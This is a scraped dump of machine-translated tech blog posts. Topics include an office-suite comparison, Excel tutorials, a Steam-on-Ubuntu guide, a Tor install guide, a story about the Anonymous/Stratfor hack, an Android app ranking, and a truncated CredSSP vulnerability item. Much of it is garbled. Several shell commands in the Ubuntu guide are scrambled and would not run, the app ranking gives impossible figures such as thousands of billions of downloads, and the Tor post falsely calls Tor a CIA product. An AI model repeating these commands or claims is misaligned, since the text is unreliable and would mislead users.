application market. Until now, Microsoft has dominated in this field for the Desktop platform, but with the online market it will be very difficult, because it will surely face many other big names, especially Google Apps and Zoho Docs. In the following article, we will perform some preliminary tests and evaluations of the features, characteristics, operation methods and prices, the cost of each service for users.\nAll three of the services we covered in this test are Google Apps, Office 365 and Zoho Docs, all offering users some basic tools like word processing, spreadsheet creation and presentation files. . besides that are the support features such as email, online storage, sharing real-time models . Along with the appearance of such utilities, we ourselves are Those who benefit the most in the war for the market, start since the Open Office suite was announced to compete with Microsoft Office. However, the choice as well as the final decision remains with the user.\nApplications, feature systems are the main factors that influence the choice of products, free or paid, online or not. But if all of these criteria do not meet the requirements of the user community, then comparing or evaluating them becomes meaningless.\n1. Basic functions: If you are familiar with using Microsoft Office 2007 or 2010, it will probably feel more comfortable and easy to use with Office 365. Although the interface is a bit different, but the basic functionality is still preserved. :\n On the other hand, the same Zoho service is quite similar to the Microsoft Office version before being added to the Ribbon interface, specifically Office 2003. Zoho stands out with a basic and unified feature system like editing, manage text content via the menu in the form of drop - down, change from uppercase to lowercase and vice versa .\nIf compared, the menu of the Google Apps function is unclear, perhaps only suitable for those who prefer to use the old version of the application, another point is that Google Apps limits users in the definition. text format and some other support functions.\nAnd Office 365 applications offer more options for fonts and formatting than Google Apps and Zoho . More importantly, these fonts and formats will automatically align and be compatible with all other online text applications. We can open Office Web Apps directly inside another program in a single operation, and Microsoft Office applications can save document files directly on online services, through which users have Can access and use their materials at any time.\nAs for spreadsheets - SpreadSheet is unfortunately not a service that can meet the needs of users compared to the program for Desktop. Basically, these tools still satisfy the user, but there are still a lot of necessary advanced functions. In it, Office 365 seems a bit better than the other two competitors because it supports macros and some basic calculation formulas.\nTherefore, in this first part, we can see that Office 365 is the dominant one over the other two competitors, Google Apps and Zoho Docs.\n2. How to manage files and storage capacity: Zoho equips each user account with 1GB of online data storage, and if they want to use more, they have to pay $ 3 per 5GB within 1 month. The storage space allocated to users' data and email is completely separate, which can be 10GB or 15GB depending on the user service package selected. And another point is that Zoho's services limit email attachments to 10MB .\nIn addition, Google Apps offers a data storage service pack with 1GB capacity, but is superior to Zoho because of the capacity of email support up to 25GB , as well as attachments up to 25MB. Most recently, Google has been shaking hands with Box.net to integrate Google Docs with Box.net's diverse storage system. Basically, Box's services offer 5GB of free storage, and after combining with Google, users will enjoy 6GB of data storage.\nAnd the rest is Office 365 , which provides the largest data storage capability for users in the initial default mode. The basic Office 365 plan supports us with 2GB of storage with SharePoint Online service, if you want to use more, you will have to pay $ 2.5 per GB in 1 month. As for email, every 1 user account will have 25GB of storage, and of course this number will change depending on which service package we choose, while higher packages of Office 365 are not limited. Capacity. Besides, Office 365 also supports users with email attachments with the largest capacity - 35MB .\nWhen making simple comparisons with specific numbers above, we can easily see that Office 365 continues to be the leader in this race.\n3. Ability to share and expand functions: With SharePoint Workspace , we can sync data from Office 365 SharePoint Online to access and use offline style. Google Apps and Zoho Docs do not have this support, but instead, users can use some other support tools such as Box.net or Dropbox instead. However, without this online synchronization support, offline data usage will be pretty much restricted.\nOffice 365 , on the other hand, provides users with the ability to interact directly with Excel and OneNote format files, but doesn't work with Word and PowerPoint . And recently, Microsoft has officially announced the user information function for Word Web App, but only works when users share files from Windows Live SkyDrive storage system from company or organization. or enterprise and Word Web App , this function does not work with Office 365.\n However, Office 365 compensates for that gap by supporting users better when processing documents via Lync Online service - we can share, access and process any document file with real-time mode. In addition, external accounts and friends can also participate in online chats via the corresponding Lync client or Web - based application.\nAnd the rest, Google Apps and Zoho Docs provide users with better services right inside their application, more specifically the ability to edit data and documents with multiple accounts at the same time. . Besides, we can share Google Apps files outside the account, but only with Google accounts. On the other hand, Zoho is more diverse with the ability to support any email service, and allows users to create or log into Zoho via Facebook, Google, or Yahoo.\nAnd this time, the advantage is temporarily tilted towards Google Apps.\n4. Compatibility: Currently, there are still many businesses that use Microsoft products to apply in their models and organizations. And today, the normality applied in each type of document which is used according to the needs of the work is increasingly highly appreciated, and therefore, they also face many difficulties in moving from Microsoft Office applications. to use online services.\nUp to now, Google has made a huge step forward to improve their products to compete directly with Microsoft, but the reality is not enough. Google Apps can handle many Microsoft Office file formats, but lacks other advanced functions, such as creating tables, inserting images, headers, footers, changing formatting .\nSimilarly Zoho Docs, but more diverse than Google Apps in support formats. You can export available XML-based text files used in Office 2007 and 2010 , while Google is limited to saving document files to * .doc, * .xls, and * .ppt.\nAs for Office 365, we don't need to do too much editing or formatting documents from other Desktop programs. And this time, Office 365 once again won.\n5. Performance when working on Mobile and browser: Keep on doing a little more testing with performance on mobile devices and browsers, not surprisingly, Office 365 puts the best performance with Windows Phone 7 and Internet Explorer 9 , while Google Apps proved superior on Android and Chrome . On the other hand, Zoho has no platform to support Mobile as well as other browsers.\nAnd with the latest update - Mango, the official name of Windows Phone 7.5, mobile platforms will have the ability to integrate with Office 365 and Windows Live SkyDrive , thereby contributing to increase the power of Microsoft in dominate this market.\nOn the other hand, if we use Google Apps, Android is the best choice, more specifically the Google Apps for Android application, and many related jobs will be completed faster through the browser, especially on smartphones.\nOffice 365 and Google Apps work well if we only view files on iPhone or iPad, but if you want to edit it, it is completely different. With Office 365 , text files will be opened via browser-based mode, and when you want to edit, you must use the Open In . function of the operating system.\n Google Apps allows us to edit content via Mobile mode, the system provides a lot of options to convert. But when switching to working with the browser and full tools, Google displays an error message.\nOn the other hand, only Zoho is stable when operating in iOS with the Safari browser, while providing more convenience when users want to switch the working mode from different Mobile devices or browsers.\nAnd so, for the first time in this experiment, Zoho dominated and proved superior to the other two competitors.\n6. Price level: For individual users, or small business models, all three online services meet most of their needs, but there are still some missing functions.\nZoho Docs has 2 options: $ 3 or $ 5 per user account for 1 month. Basically, the service packages are relatively similar, but for $ 5 we will have twice the amount of storage, besides some advanced features such as sharing documents with other users. without asking them to set up or login with Zoho account. Besides, email hosting service with fees of $ 2.5 or $ 3.5 depends on your selected product package.\nBesides Google Apps for business - Business for $ 5 per account for 1 month, and $ 50 for 1 year. Office 365 has many different packages depending on the size of the business. The most suitable package for Office 365 when compared to Google Apps and Zoho Docs costs $ 6 per user account for 1 month.\nZoho 's $ 3 package may be the most attractive price for users, but it corresponds to the lack of the most basic functions, such as email. However, in the enterprise, price is not the determinant of all, but the functional system, technical support as well as their requirements. In terms of overall view, Office 365 is slightly better than 2 competitors with more features and better compatibility, so the price of this service is also higher.\nAnd through a number of key points already mentioned, Google Apps is the most suitable choice, the price of $ 50 for each account in a year, users will not need to worry too much. For a fee of $ 15, Office 365 users will receive a license to download the Office 2010 Professional package , and for $ 21 per month, this is a fairly expensive price for such a web-based tooling platform.\nAnd finally, the price of $ 252 for each user in a year, Office 365 will cause many businesses to think with $ 504 in 2 years, while the Office 2010 Professional set costs $ 410 . The costs incurred when businesses switch to using Cloud platform technologies depend on how long they want to use Office 2010 before deciding to upgrade, and how much will be saved. Additional functions of other Desktop applications.\nncG1vNJzZmismaXArq3KnmWcp51ksLC5z5qpnmWXpLyouMRmmKmoo2K8p7LInJxma2ZqeqK6w2axqKCfYrGwr9I%3D\n","link":"/post/compare-google-apps-office-365-and-zoho-docs/","section":"post","tags":null,"title":"Compare Google Apps, Office 365 and Zoho Docs"},{"body":"Today I would like to introduce how to create graphs in excel. Graphs in excel help present figures by drawing into visual, easy to understand images. The graph is linked to its data in a spreadsheet, so when changing its data in a spreadsheet, the chart itself changes. The graph is an object of excel, this object contains data and image representation with very rich colors.\nThe graph in Excel helps us identify an overview of a problem or in other words, show the inventoried data\nGuide graphing Types of graphs    Column: Bar graph\nLine : Line graph\nPie : Pie chart Bar : Bar chart Area : Area chart XY (Scatter) : XY chart (Scattered) Stock : Stock chart Bubble : Bubble chart Radar : Radar chart\nHow to graph Step 1: To draw a graph you must first create an existing data on the machine.\n  Data of the graph\nStep 2: You only need to scan the data you want to chart.Then choose Insert-\u0026gt; Column, here I draw the new column chart, select the column.If you want to draw another chart, choose another one.The following results:\n  \nOn it is just a graph form.There are many other types, depending on the topic that you draw.\nCalibrate the graph\nAdd title\nWant to add a title for you to do the following: In Chart Tools, select Layout -\u0026gt; Chart Title and select the display type .\nAdd title, Add caption to horizontal axis, vertical axis To add a title for the horizontal (or vertical) axis\u0026nbsp;Chart Tools -\u0026gt; Layout -\u0026gt; Labels -\u0026gt; Axis Titles -\u0026gt; select a style from the list\n  Note The distance between the numbers on the axis For vertical axis, right-click on the vertical axis and then select Format Axis .Then you go into that editing is according to the topic that edited.\nAbove is the whole graphing method as well as correction in the graph, please refer to it.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ksabAwKKjnpxdnru0wNGumq2hn6PAbrvNZp%2Bor12pvG6z0ZqnoWWZo3qmxMKeow%3D%3D\n","link":"/post/detailed-instructions-on-how-to-graph-in-excel/","section":"post","tags":null,"title":"Detailed instructions on how to graph in excel"},{"body":" Choosing an email service provider to help with email marketing and bulk email services can seem overwhelming. You can narrow down the options by first considering how you will use the service, what your budget is, and how much tech...\nMethod 1of 2:\nDetermining Your Needs  Set goals for using the service. Consider your goals for using an email marketing service. Do you just want to achieve a bit of basic email marketing? Or are you planning to send out massive email campaigns to thousands of email list subscribers? Determining your goals wil help you make an informed decision about selecting an email service provider[1]\n  Choose a provider that matches your budget. You can acquire an email service provider with a variety of price points. While some email service providers cost less than ten dollars a month, others have rates that can climb to hundreds of dollars each month. Keep in mind that you will pay more for premium services. For example, a provider that gives you around the clock tech support will cost more than one that only provides email ticket tech support.[2]\n  Make sure the company offers adequate tech support. When you are choosing an email service provider, you need to consider how much tech support you will expect from the service. Some services will offer around the clock support. Others may only provide clients with limited ticket support.[3]\n  Choose a reputable company. It is important to choose an email service provider that is well established and has a good reputation. For example, you should refrain from choosing a new email service provider that has been in business for only a short period of time. Read reviews online and talk to friends, family, and colleagues about their email service provider experiences.[4]\n  Try out multiple providers. Some email service providers offer free trials. Consider trying out several services that offer free trials. You can then compare the email service providers and choose the one that best suits your needs.\n  Try a provider that integrates social media. Some email service providers can integrate with social media channels. This can expand your reach and help you meet marketing goals. When choosing a provider, ask about their social media capabilities.[5]\n Method 2of 2:\nChoosing a Provider with the Right Capabilities  Select a provider that offers efficient subscriber management. Managing your subscribers is one of the most important services an email service provider provides. Research how the provider manages subscription forms, unsubscribe centers, and subscriber content preferences. These are all key to acquiring and personalizing email services for your subscribers.[6]\n  Choose a provider that will give you a private IP address. The IP address your email service provider assigns you indicated the origin of an email. You do not want to share an IP address with other customers at your email service provider. For example, excessive spam complaints against another client with the same IP address could prevent your emails from being delivered.\n  Inquire about deliverability rates. Before you decide on an email service provider, ask the company about email deliverability rates. You want to make sure the emails you are sending end up in subscribers' inboxes instead of getting marooned in cyberspace or spam filters.[7]\n  Pick a provider with multiple Internet connections. Your email service provider should have multiple, high speed Internet connections through several sources. This will ensure reliability should one of the Internet connections fail. For example, if your email service provider's Internet connection goes down, your subscribers won't be able to click links in the emails you send.\n  Choose a provider that provides detailed reporting. An email service provider provides detailed reporting on your email campaigns. This reporting should include the rates at which subscribers open emails, daily delivery success rates, and the rate at which subscribers click links included in the emails. You should be able to view which of your subscribers completed each of these actions. This will help you measure how effective your email campaigns are.\n  Micah Soto Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYpLy0sYyapWadnZa2rXnSnqmvoZOaerG%2Bzq%2BgnZ2i\n","link":"/post/how-to-choose-an-email-service-provider/","section":"post","tags":null,"title":"How to Choose an Email Service Provider"},{"body":"The iPad does not have a USB connector, but you can still connect the USB to the iPad via the Camera Connection Kit (Apple camera connection accessory).\n  Although the iPad is rated as the best tablet on the market today, one of the device's biggest \"minus points\" is the lack of USB ports. However, you can still use the USB drive on the iPad by connecting them via Apple's camera connection kit.\nThe steps are as follows:\n- Step 1: Format USB Flash Drive with FAT32 standard using Disk Utility Partition, MSDOS (FAT) utility.\n- Step 2: Create a folder (folder) named 'DCIM' in the root of the USB Flash Drive drive. Put pictures and movies in it.\nWhen connected to a USB Flash Drive drive through the Camera Connection Kit, the iPad will determine that it is connected to a digital camera and read the movie files and images in the 'DCIM' folder. An open application will allow you to copy images and movies from USB Flash Drive to iPad.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZp7KkwMuyZJynnqOypMCMrqqbZaSkeqq8wJ0%3D\n","link":"/post/how-to-directly-connect-usb-to-ipad/","section":"post","tags":null,"title":"How to directly connect USB to iPad"},{"body":"Steam is the most popular online gaming platform for PC and Linux. There are over 2000 Steam games available for Linux. Although Steam is available through the official Ubuntu repositories, many new Linux users still have trouble installing. This article will guide you to install Steam on Ubuntu.\nBefore attempting to install Steam, users need to make sure that the graphics card driver is properly installed and configured. Driver is also not available through the same channels as on Windows. Once installed, they will always be updated through regular system updates. That means you just need to set it all up in one go, Steam and the drivers will continue to run smoothly on Ubuntu.\nInstall Driver Before installing and using Steam on Ubuntu, users need to be sure to install the latest drivers and configure them correctly on the system. How to install different AMD and NVIDIA drivers, but there are a few things you need to do first. Users need to enable 32-bit support because Steam only works on 32-bit drivers so that drivers are automatically supported when installing drivers.\n sudo dpkg --add-architecture i386  Update Apt to apply changes.\n sudo apt update apt upgrade sudo  NVIDIA Driver You will not be able to play games on open source NVIDIA drivers, so install exclusive NVIDIA drivers. Thankfully, they're really good and work perfectly when installed.\n   Ubuntu's NVIDIA driver is stored in an existing and well maintained PPA. Activate it on the system and update Apt.\n sudo add-apt-repository ppa: graphics-drivers / ppa sudo apt-get update  Then, install the latest driver.\n sudo apt install nvidia-graphics-drivers-387 nvidia-settings  After installing the driver, run the Nvidia configuration utility.\n sudo nvidia-xconfig --initial  Restart the system to apply the changes.\nAMD driver AMD's open source drivers are rapidly growing, but if you're using an older version of Ubuntu, you won't see the benefits of that development. There are two main components to running AMD drivers: Mesa and the Linux kernel.\n  To add Mesa PPA to the system:\n sudo add-apt-ppa repository: oibaf / graphics-drivers sudo apt-get update  Upgrade the package to the new version. Then, make sure you have installed xserver-xorg-video-amdgpu.\n apt upgrade sudo sudo apt install xserver-xorg-video-amdgpu  You may have to restart for these changes to take effect.\nInstall Steam   Steam is available in Ubuntu repositories, you can install it easily with Apt.\n sudo apt install steam  Start Steam and login. You will have to perform normal procedures by adding new settings to your account, then you can open and access your Steam library.\nThat's all you need to do. Stream is running on the system and the latest drivers will back them up. Note the library only displays Linux games by default. Users can also see games for Windows, but cannot launch them. Be sure to run regular updates on the system to keep things stable.\nSee more:\nHow to optimize Steam download speed in Windows 10 How to buy Steam games in the most economical way How to register a Steam account on your computer? ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmqq2dkaJ6qrqMrpmupqSq\n","link":"/post/how-to-install-steam-in-ubuntu/","section":"post","tags":null,"title":"How to install Steam in Ubuntu"},{"body":"Adding basic Excel functions and mastering some functions will help a lot in calculating and statistics on Excel. With the REPT function, the characters in the table automatically repeat by the number of times that the user wants, instead of having to manually enter each character in turn. The REPT function returns the text string, repeating the character or number according to the number of times in the formula the user entered. So with the REPT function, we save a lot more work time. The following article will guide you how to use the REPT function in Excel.\nHow to use Vlookup function in Excel How to use Hlookup function on Excel How to combine Sumif and Vlookup functions in Excel How to combine 2 columns Full name in Excel does not lose content Instructions for using the REPT function on Excel REPT function has a formula to use is REPT (text, number_times) . Inside:\nText is a string of text that you want to repeat, a required parameter. number_times is a positive number that determines the number of repetitions, which is a required parameter. Some notes when using the REPT function :\nIf number_time = 0, the function returns an empty string. If number_time is not an integer, it will automatically convert to an integer. If number_time is not a number, the function returns the #VALUE! Error value. The result of the REPT function must not exceed 32,767 characters, exceeding the return value of #VALUE! REPT function example\nFor example, we have the following table with the characters to repeat.\n  In the first cell of the result we enter the formula = REPT (C3, D3) and press Enter.\n  The result of the signing sequence is repeated according to the number of times in number_times as shown below.\n  Continue dragging the first result box down to the remaining cells and getting the result as shown below. For repetitions that are integers, the characters are repeated exactly the same number of times. If the number of repetitions is not an integer, the REPT function automatically takes the number of integers. In case the number 6 repeated 2.5 times, it will automatically be repeated twice.\nIf the number of repetitions is zero, there is no display result.\n  Using Excel's REPT function is very simple and not complicated if you follow the function syntax correctly. The characters are repeated and we do not need to enter them directly.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmqZ6opGKztrrCraCopl2ku26x15ycpQ%3D%3D\n","link":"/post/how-to-use-the-rept-function-on-excel/","section":"post","tags":null,"title":"How to use the REPT function on Excel"},{"body":"If you are looking for a browser that can protect your privacy when you access the Internet and allow you to access blocked websites in the smoothest way, Tor Browser will be a great browser. for your use. Overall Tor Browser is a browser that helps you surf the web faster and safer than ever. The following article will show you how to install the Tor Browser for Windows, please consult.\nWhat is Tor?\nTor is a volunteer service that provides privacy and anonymity online by hiding who you are and where you are connecting. This service also protects you from the Tor network itself - you can be sure you keep anonymity from other Tor users.\nFor those who may sometimes need anonymity and privacy when accessing websites, the Tor Browser is a quick and easy solution for using the Tor network.\nTor browser works as a browser. Web browsers are applications to view web pages. Examples include Chrome, Firefox, and Safari applications. Unlike normal browsers, the Tor browser sends your contact information through the Tor network, making it harder for those following you to know exactly what you're doing online, and to do it. For those who are monitoring websites you use it hard to know where you are connecting from.\nTor is a product for the CIA itself, which is so perfect that its creators have no way to break it. Currently, TOR is the best tool to help cross the firewall and help anonymously access the internet.\nConfiguration required before installing Browser Browser\nOperating system: Windows All Version (32bit - 64bit), MacOS, GNU / Linux Empty memory: At least 145 MB Link Download the Tor Browser\nYou can download Tor Browser to your computer using the following link: Download Tor Browser\nHow to install the Tor Browser\nStep 1:\n  \nAfter downloading the application, you access the folder containing the downloaded file. After double-clicking to start Tor, a small window will open to select the language to use the Tor browser. There will be many languages ​​to choose from, you just need to select the appropriate language and click OK.\nStep 2:\n  \nThe Tor Browser will be installed by default on the Program Files folder, you can change this directory by clicking Browse . If you do not want to make this change, click Install to start the installation process. Set the Tor Browser\nStep 3:\n  \nThe installation process starts, and you wait a moment for the process to complete\nStep 4:\n  \nThe installation process is complete when you see a notification window completing the installation process. If you click the Finish button, Tor Browser will start immediately and the 'Start Tor Browser' shortcut will be added to the Start Menu and on the Desktop. (desktop).\nThe above is a guide to installing Tor Browser. Hopefully with Tor Brower you will be able to browse the web more securely and access blocked websites, especially how to access Facebook blocked by Tor Browser. Good luck.\nSee more:\nTorMoil vulnerability reveals true IP from Tor Browser How to download Torrent file by IDM? Which browser is the fastest on Android: Chrome, Firefox, Samsung Browser or Edge? Tor Project increases users' security and privacy with the new Onion generation ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWahnqjBorjLoqWgZaSkv26u0aiurJ2iYrOwvoywoKecn6zA\n","link":"/post/instructions-for-installing-tor-browser-for-windows/","section":"post","tags":null,"title":"Instructions for installing Tor Browser for Windows"},{"body":"Rolling Stone magazine talked about the journey to arrest hacker leader Jeremy Hammond of Anonymous as well as describe the chaos and darkness of the hackers world with talented, eccentric and hidden people.\nOn a cold day in mid-December 2011, hackers with the nickname sup_g sat for hours on the computer with the goal of making a spectacular attack (which would later be reported as the digital world's atomic bomb). on Strategic Forecasting, or Stratfor, which specializes in providing analysis related to the military, economic and political situation for customers to limit risks.\nAs a core member of Anonymous group, sup_g has infiltrated Stratfor's web server system, thus discovering treasure including password, unencrypted credit card data, customer list . But the most attractive is 860,000 e-mails with 3 million messages containing sensitive content.\n  Stratfor is the biggest and richest prey of Anonymous. Not only does it provide political - political analysis for every Pentagon organization to the United Nations, it also provides security services for leading companies like Raytheon or Dow Chemical. On Christmas, Anonymous held more than 200 GB of Stratfor data, and posted a winning message on the company's website: \"Disaster is not coming soon, it's already here\" . The hacker group also plans to use credit cards to donate to charities like CARE or American Red Cross.\nSup_g always works quite subside, carefully hiding real names and using many different aliases. But three months later, on the night of March 5, 2012, more than a dozen police broke into a small house in southwestern Chicago and arrested 27-year-old Jeremy Hammond, a hacker who believed it was sup_g.\nThe arrest was a great victory for the FBI by Anonymous claiming to conduct a battle at the highest level and scale \"against corrupt governments, organizations, military and corrupt law enforcement agencies. around the world \" . The group closed the CIA website, several banks, government websites of Libya, Tunisia, Egypt ., entered the NATO system, GEO Group and captured the FBI.\nBut no battle is as shocking as Stratfor. Hammond, never acknowledged any of the nine aliases that the FBI believed to be his, insisted that he was impersonal in the \"Stratfor disaster\" . But Hammond does not deny that he is related to Anonymous. He has been detained at the Metropolitan Correctional Center for the past 8 months and is still awaiting trial.\nSince coming here, Hammond has always kept him busy by teaching maths to other prisoners, playing chess and reading. In addition to a lawyer, Rolling Stone reporter is the only guest (not a relative) allowed to visit Hammond.\nWith IQ 168, Hammond \"speaks as fast as if his mouth does not catch up with thoughts in his head,\" a friend described. At school, this hacker is one of the smartest children and is always more focused on what he is taught at school.\nThe road to Anonymous From the age of 22, Hammond was named \"Internet Hood by Robin\" by Chicago magazine when he was imprisoned for nearly two years for stealing 5,000 credit cards for charity. In 2008, Hammond was released from prison and began a new life. He began to know Anonymous but did not pay much attention. After that, he noticed the political potential of Anonymous when conducting Operation Avenge Assange in October 2010 with the aim of punishing PayPal, Visa, MasterCard and some other financial institutions for stopping processing related transactions. to Wikileaks.\nThere was a character in Anonymous that made Hammond very impressed. It was Sabu, his real name was Hector Xavier Monsegur, born in 1983. Monsegur lived in a drug-selling family and his father was imprisoned for heroin trafficking in 1997. He had innate talent in computers. From the age of 14, Monsegur sought free Internet access, taught himself Linux, Unix and open source networks.\nWhile Hammond considers hacking a battle tool, Monsegur sees hacking as a way to escape the life he is experiencing every day. Initially, Monsegur worked for a Swiss security company. But in 2010, Monsegur started hacking for profit like stealing credit cards to pay personal bills, digging into auto companies to order components for their cars. Nicknamed Sabu, Monsegur joined Anonymous and since January 2011, he has launched Freedom Ops campaign targeting a series of government websites.\nMeanwhile, the FBI began to keep an eye on Anonymous since 2010, but they were like people who found their way during the night, no one knew who Anonymous was. To help the government and more importantly, to win a contract for its HBGary Federal firm, security expert Aaron Barr decides to find out for himself. In early 2011, Barr informed Financial Times that he was in the hands of Anonymous.\nAlthough Barr's documents were later determined to be inaccurate, Anonymous began to see a great risk. On February 6, 2011, Sabu formed the Internet Feds group to attack HBGary's website, control Barr's Twitter account and the company's 68,000 e-mail database and post it on the Pirate Bay site. Within a day, news of the attack spread throughout the world and Barr had to resign.\nFollowing this event, Hammond was surprised. For the next few months, Hammond's impression continued to increase and he decided to join Anonymous. At this time, Internet Feds turned into Lulz Security, or Lulzsec, led by Sabu and another talent, Topiary. From March 7, the group made a \"Lulz 50 days\" campaign with a series of collapsed government, game and porn websites.\nTreachery However, on the first day of June, Anonymous members discovered Sabu disappeared online for 24 hours, which he had never done. When he returned, Sabu explained that his grandmother had died. The group accepted but began to see Sabu's attitude change. He became more friendly and called everyone a brother in a house.\nOn June 19, 2011, Sabu launched Operation Antisec \"the largest in hacker history\". At the end of June, Lulzsec launched hundreds of sensitive information pages related to legal organizations in Arizona. According to the FBI, this is Hammond's first criminal activity, or sup_g, under Anonymous membership. Gradually, sup-g becomes the main character in about 10 core members of Antisec. Almost all group activities are through sup_g, including writing press releases.\nMeanwhile, Sabu called for attacks but almost never hacked. Anonymous members began to doubt Sabu when she tried to avoid letting her hand dip. But Sabu has a talent that no one denies: getting precious information helps hackers like sup_g exploit the vulnerability at the highest level.\nInformation about the \"FBI informant\" Sabu just spread out the same day Hammond was arrested. Initially, Anonymous did not believe in betrayal in the group. But after Sabu's indictment was revealed in the press, the shock turned into anger and sadness. Some Anonymous members said they were suspicious of Sabu as a fraud.\nConnecting events, Anonymous realized that on June 7, 2011, the day Sabu disappeared online during those 24 hours, the day he heard knocking at home. Outside were two FBI agents who said they had gathered enough evidence of Sabu's activities in Anonymous to imprison him for 122 years.\nWithin a few hours, Sabu agreed to work for the FBI and provide information about her teammates at LulzSec. After that, he opened Operation Antisec campaign (including the attack on Stratfor in December 2011) and was responsible for collecting data for the government. That means, since June 19, 2011, all of Antisec's activities have been in the FBI's sights with the aim of arresting the leader, Jeremy Hammond.\nSee more:\nThe story of \"double bearer\" Sabu: Anonymous traitor, the hero of the FBI ncG1vNJzZmismaXArq3KnmWcp51kt7DB0aecsmWkpHqivtGeqq1lpJ2ybrLBoqpmmZ6ku7q5zq6qZqSVlrGmvg%3D%3D\n","link":"/post/journey-to-arrest-the-fbi-s-anonymous-leader/","section":"post","tags":null,"title":"Journey to arrest the FBI's Anonymous leader"},{"body":"In today's post, let's take a look at some of the most popular Android apps of all time in the Google Play Store with TipsMake. These are the apps that 2.8 billion Android users have downloaded most often.\n1. Facebook (7073 billion downloads)   No wonder Facebook is the most downloaded app in the world. Despite seemingly endless scandals, questionable security practices, and the #DeleteFacebook movement, this app still takes the top spot.\nHowever, not everyone is happy as the app has 76 million one-star ratings. Perhaps that makes sense, since the app is littered with pointless features that few people bother to use.\n2. WhatsApp (6983 billion downloads) In July 2018, WhatsApp ranked third with 2.9 billion downloads. A year ago, it jumped to number one, but now it's dropped to number two.\nWhatsApp - the world's most popular instant messaging tool - has been owned by Facebook since its $19 billion acquisition in early 2014. If you don't like using the messaging app, message owned by Facebook, try one of the many other WhatsApp alternatives.\n3. Facebook Messenger (5327 billion downloads) Messenger's presence in third place solidifies the Facebook empire's control of the smartphone app market.\nMessenger has grown in popularity over the past few years, with the increasing availability of bots making the service more useful than ever. Facebook Messenger has dropped one place from July 2018.\n4. Instagram (3504 billion downloads) Instagram is another app owned by Facebook, which was acquired by the company in 2012.\nIt has significantly fewer negative reviews than big brother Facebook, with only 28 million (out of 121 million) 1 star votes for the app.\n5. TikTok (2631 billion downloads)   TikTok's relentless growth shows no signs of slowing down. The app, which allows users to create and share these short video clips, became hugely popular in the first half of 2020 as the COVID pandemic forced people to stay at home.\nTikTok broke a billion downloads in July 2019 and more than doubled in the following 2 years.\n6. Subway Surfers (1438 billion downloads) In sixth place comes a game - but not the legendary Candy Crush Saga! Subway Surfers is an endless running game in which you play as a fugitive following a railroad track to escape from a police officer and his dog.\n7. Facebook Lite (1933 billion downloads) And we're back to Facebook. The Lite version of the app is aimed at users with low-end devices (1GB or 2GB RAM) and those who only have access to 2G data networks. There are a few minor usability changes, but all major features are present and working as expected.\n8. Microsoft Word (1895 billion downloads) Given the popularity of Word on the desktop, it's no surprise that the Android app has enjoyed a similar level of success.\nStay tuned for Microsoft Office apps - they will almost certainly go higher when the next list update comes.\n9. Microsoft PowerPoint (1655 billion downloads) Microsoft PowerPoint is the second consecutive Microsoft Office application on the list. You may have used it at some point to create presentations or slideshows.\n10. Snapchat (1350 billion downloads)   Snapchat wraps up the top 10 apps list today. Instagram may be copying all of Snapchat's best features, but still has over 280 million daily users, up from 240 million 12 months ago.\nHowever, as a percentage of total downloads on Android and iOS combined, that number remains low. It's time to start worrying about the future of this app.\n11. SHAREit (1541 billion downloads) SHAREit is the first non-Google productivity app to make the list today. The app provides a way to transfer large files between devices in seconds. According to the developer, it is 200 times faster than Bluetooth.\n12. Netflix (1513 billion downloads) Netflix currently has nearly 210 million subscribers. The app has seen a huge boost throughout 2020, again, thanks to COVID. The service's mix of original content and old favorites has proven effective, and growth shows no signs of slowing through 2021. It's the only video-on-demand streaming app reached the top 20.\n13. Twitter (1301 billion downloads) It's not surprising to see social networking apps appear in the list of most commonly downloaded apps on the Play Store.\nTwitter is currently the fourth most popular social app. In 2018, it was third behind Facebook and Instagram, but Snapchat has now taken the spot.\n14. Flipboard (1301 billion downloads) Flipboard is a curious app. Although not as famous as many of its competitors, the 1.3 billion downloads figure proves that it is extremely popular.\nIn case you didn't know, this app aggregates news, conversations, and engaging stories around any given topic, giving you a synopsis of the topics you care about.\n15. Candy Crush Saga (1142 billion downloads)   You might think Candy Crush Saga would be the most popular game, but it actually comes in at second.\nHowever, there are still more than 1.1 billion Android users who like to try to stack different colored candies.\n16. Skype (1124 billion downloads) Skype used to be a giant in the application world. However, with the release of Windows 11, Skype is no longer pre-installed on the operating system for the first time in over a decade. The business branch is closed from August 2021, and it looks like Microsoft Teams is currently the focus of developers. It is expected to fall out of the top 20 by 2022.\n17. Spotify (1081 billion downloads) Perhaps surprisingly, it took until 2021 for Spotify to break into the top 20. It's another company that has benefited greatly from the COVID pandemic, with its paid user base growing from 130 million to 160 million in the past year. past 12 months. Indeed, the number has more than doubled since early 2017. Spotify now has 360 million users in total.\n18. Dropbox (1025 billion downloads) Dropbox is one of the most famous cloud storage services today. It allows you to store documents in the cloud, access them from anywhere, and share them with other users.\n19. Viber (909 million downloads) Viber offers instant messaging, video calls, 250-person group chats, and encrypted communication. This app is one of the most popular WhatsApp alternatives in Europe and North America. Asian users still prefer LINE.\nThis is the first app on the list that hasn't crossed the one billion download mark.\n20. LINE (874 million downloads)   LINE is the fourth most popular instant messaging app on Android, after WhatsApp, Facebook Messenger and Viber.\nAsian users drive the majority of this app's popularity. It is in the top 5 communication apps in Japan, Taiwan, Thailand, Cambodia and Indonesia. However, the app struggled to break into the top 30 in most European and North American countries.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjGtnZqWfqMFuvM6prKWZomKur7DRqKCdZZGlvbR5yKdkraCVYrSwu8alnGaonJbGbr%2FTqKme\n","link":"/post/the-20-most-popular-android-apps-in-the-google-play-store/","section":"post","tags":null,"title":"The 20 most popular Android apps in the Google Play Store"},{"body":"A serious vulnerability has just been found on the Credential Security Support Provider (CredSSP) protocol that affects all Windows versions, allowing attackers to exploit RDP and WinRM to steal data or run malicious code.\nCredSSP protocol is used by RDP (Remote Desktop Protocol) and WinRM (Windows Remote Management), is responsible for forwarding encrypted authentication information from Windows client to server for remote authentication.\nDiscovered by researchers at Preempt Secutiry, this vulnerability (CVE-2018-0886) is a logical error in CredSSP, which allows an intermediary to use WiFi or physically connect to the network to steal authentic data and Attack Remote Procedure Call.\n'The data theft attacker from the user can run the command with admin rights. This is 